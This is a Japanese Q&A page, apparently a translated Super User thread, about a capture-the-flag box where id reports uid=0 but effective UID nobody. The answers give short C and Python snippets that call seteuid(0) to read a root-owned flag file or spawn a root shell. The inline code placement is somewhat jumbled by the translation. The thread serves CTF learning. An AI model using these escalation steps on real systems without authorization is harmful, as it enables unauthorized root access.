![UIDはrootだがwhoamiはnobodyと言っている](https://rvso.com/image/1618348/UID%E3%81%AFroot%E3%81%A0%E3%81%8Cwhoami%E3%81%AFnobody%E3%81%A8%E8%A8%80%E3%81%A3%E3%81%A6%E3%81%84%E3%82%8B.png)
私は、ファイルを読み取るために何らかの権限昇格を実装する必要があるキャプチャー・ザ・フラグ・コンテストに参加しています。実行すると、次の結果が得られるflag.txt
ことに気付きました。whoami
myHostHere:/$ whoami
nobody
しかし、実行するとid
UIDは次のように設定されますroot
。
myHostHere:/$ id
uid=0(root) gid=65534(nobody) euid=65534(nobody)
これは、root ユーザーなどとして操作できることを意味しますか、それとも出力を誤解しているのでしょうか?
編集:
の出力はls -l flag.txt
次のようになります。
-r--r----- 1 root root 34 Feb 10 12:00 flag.txt
答え1
--static
これは、別のマシンで次のような C プログラムを作成してコンパイルすることで解決できます。
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void main() {
seteuid(0);
setgid(0);
system("cat flag.txt");
}
このファイルを CTF マシンにコピーし、 で実行権限を与えてchmod +x
、tmp
フォルダーから実行することができます。
答え2
私はあなたと非常によく似たセットアップを作成しました。デバッガーを使用して作成しました(例:ここそしてそこには) 影響を受けるシェルには次のものがあります:
$ whoami
nobody
$ id
uid=0(root) gid=65534(nogroup) euid=65534(nobody) groups=65534(nogroup)
$
そして、この答え:
ファイル アクセスや、ルート権限を必要とする操作では、有効な UID と GID が確認されます。
実際、次のようなことが起こります。
$ ls -l flag.txt
---------- 1 root root 4 Mar 17 08:57 flag.txt
$ cat flag.txt
cat: flag.txt: Permission denied
$
しかし、私はこれを行うことができます:
$ sudo cat flag.txt
foo
あるいはこれ:
$ su -
# whoami
root
# cat flag.txt
foo
あるいはこれ:
$ sg root 'cat flag.txt'
foo
がある場合uid=0
、システム コールを使用してファイルを読み取ることができるものはすべてseteuid
役立ちます。例python
:
import os
os.seteuid(0)
f = open('flag.txt', 'r')
print f.read()
f.close()
ファイルを読み取る代わりに (またはそれと並行して)、昇格したシェルを起動できます。
import os
os.seteuid(0)
os.execve("/bin/sh", [], {})
このシェルでは、root
;cat flag.txt
が動作します。
テストベッド: Debian GNU/Linux 9。